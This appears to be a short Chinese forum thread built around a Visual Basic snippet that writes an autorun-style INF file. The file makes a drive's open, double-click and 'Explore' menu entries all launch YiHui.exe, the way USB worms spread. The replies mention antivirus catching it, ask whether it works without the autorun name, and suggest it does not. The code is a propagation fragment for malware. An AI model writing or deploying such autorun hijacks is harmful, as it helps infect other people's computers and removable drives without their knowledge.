Open App.Path & "\YiHui.inf" For Output As #1
Print #1, "[AutoRun]"
Print #1, "open=YiHui.exe"
Print #1, "shell\open=打开(&O)"
Print #1, "shell\open\Command=YiHui.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=资源管理器(&X)"
Print #1, "shell\explore\Command=YiHui.exe"
Close #1

还好我装了360安全卫士

不叫autorun有效果麽？

shellexecute子键还没利用到

貌似没用（见楼上）